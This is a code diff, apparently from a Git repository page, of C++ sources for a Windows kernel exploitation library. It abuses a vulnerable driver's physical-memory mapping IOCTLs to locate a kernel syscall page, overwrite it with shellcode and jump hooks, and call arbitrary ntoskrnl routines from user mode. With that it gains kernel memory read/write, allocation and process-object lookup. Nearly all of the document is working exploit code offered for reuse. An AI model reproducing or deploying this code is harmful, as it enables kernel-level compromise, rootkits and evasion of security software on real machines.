return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, out_buffer[0], size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(out_buffer[0], buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,122 @@
|
|||||||
|
#include "vdm_ctx.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||||
|
:
|
||||||
|
read_phys(read_func),
|
||||||
|
write_phys(write_func)
|
||||||
|
{
|
||||||
|
// already found the syscall's physical page...
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
return;
|
||||||
|
|
||||||
|
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||||
|
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES));
|
||||||
|
|
||||||
|
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
syscall_hook.first,
|
||||||
|
true
|
||||||
|
));
|
||||||
|
|
||||||
|
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||||
|
// for each physical memory range, make a thread to search it
|
||||||
|
std::vector<std::thread> search_threads;
|
||||||
|
for (auto ranges : util::pmem_ranges)
|
||||||
|
search_threads.emplace_back(std::thread(
|
||||||
|
&vdm_ctx::locate_syscall,
|
||||||
|
this,
|
||||||
|
ranges.first,
|
||||||
|
ranges.second
|
||||||
|
));
|
||||||
|
|
||||||
|
for (std::thread& search_thread : search_threads)
|
||||||
|
search_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||||
|
{
|
||||||
|
this->read_phys = read_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||||
|
{
|
||||||
|
this->write_phys = write_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::rkm(void* dst, void* src, std::size_t size)
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
return this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, dst, src, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::wkm(void* dst, void* src, std::size_t size)
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
return this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, dst, src, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||||
|
{
|
||||||
|
const auto page_data =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
VirtualAlloc(
|
||||||
|
nullptr,
|
||||||
|
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||||
|
{
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||||
|
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||||
|
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||||
|
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||||
|
syscall_address.store(
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
address + page + nt_page_offset));
|
||||||
|
}
|
||||||
|
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 48 31 c0 xor rax, rax
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||||
|
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result == STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,167 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string_view>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <functional>
|
||||||
|
#include "../vdm/vdm.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
// change this to whatever you want :^)
|
||||||
|
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||||
|
inline std::atomic<bool> is_page_found = false;
|
||||||
|
inline std::atomic<void*> syscall_address = nullptr;
|
||||||
|
inline std::uint16_t nt_page_offset;
|
||||||
|
inline std::uint32_t nt_rva;
|
||||||
|
inline std::uint8_t* ntoskrnl;
|
||||||
|
|
||||||
|
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||||
|
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||||
|
|
||||||
|
class vdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||||
|
void set_read(read_phys_t& read_func);
|
||||||
|
void set_write(write_phys_t& write_func);
|
||||||
|
bool rkm(void* dst, void* src, std::size_t size);
|
||||||
|
bool wkm(void* dst, void* src, std::size_t size);
|
||||||
|
|
||||||
|
template <class T, class ... Ts>
|
||||||
|
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||||
|
{
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
// jmp [rip+0x0]
|
||||||
|
std::uint8_t jmp_code[] =
|
||||||
|
{
|
||||||
|
0xff, 0x25, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||||
|
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||||
|
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
// execute hook...
|
||||||
|
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||||
|
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||||
|
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||||
|
{
|
||||||
|
T buffer;
|
||||||
|
if (!rkm((void*)&buffer, (void*)addr, sizeof T))
|
||||||
|
return {};
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline bool wkm(std::uintptr_t addr, const T& value)
|
||||||
|
{
|
||||||
|
return wkm((void*)addr, (void*)&value, sizeof T);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||||
|
{
|
||||||
|
static const auto ps_lookup_peproc =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"PsLookupProcessByProcessId");
|
||||||
|
|
||||||
|
PEPROCESS peproc = nullptr;
|
||||||
|
this->syscall<PsLookupProcessByProcessId>(
|
||||||
|
ps_lookup_peproc,
|
||||||
|
(HANDLE)pid,
|
||||||
|
&peproc
|
||||||
|
);
|
||||||
|
return peproc;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_get_virtual =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"MmGetVirtualForPhysical");
|
||||||
|
|
||||||
|
return this->syscall<MmGetVirtualForPhysical>(
|
||||||
|
ntoskrnl_get_virtual, addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto kalloc(std::size_t size) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static const auto mm_allocate =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "ExAllocatePool");
|
||||||
|
|
||||||
|
return this->syscall<std::uintptr_t(*)
|
||||||
|
(std::uint8_t, std::size_t)>(mm_allocate, NULL, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_physical(std::uintptr_t phys_addr) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static const auto mm_get_physical =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "MmGetPhysicalAddress");
|
||||||
|
|
||||||
|
return this->syscall<std::uintptr_t(*)
|
||||||
|
(std::uintptr_t)>(mm_get_physical, phys_addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_current_thread(void) -> PETHREAD
|
||||||
|
{
|
||||||
|
static const auto ke_get_thread =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "KeGetCurrentThread");
|
||||||
|
|
||||||
|
return this->syscall<PETHREAD(*)()>(ke_get_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto readcr3(void) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 0f 20 d8 mov rax, cr3
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x0F, 0x20, 0xD8, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
write_phys(vdm::syscall_address.load(), shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<std::uintptr_t(__fastcall*)(void)>(proc)();
|
||||||
|
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||||
|
bool valid_syscall(void* syscall_addr) const;
|
||||||
|
read_phys_t read_phys;
|
||||||
|
write_phys_t write_phys;
|
||||||
|
};
|
||||||
|
}
|
After Width: | Height: | Size: 169 KiB |
Loading…
Reference in new issue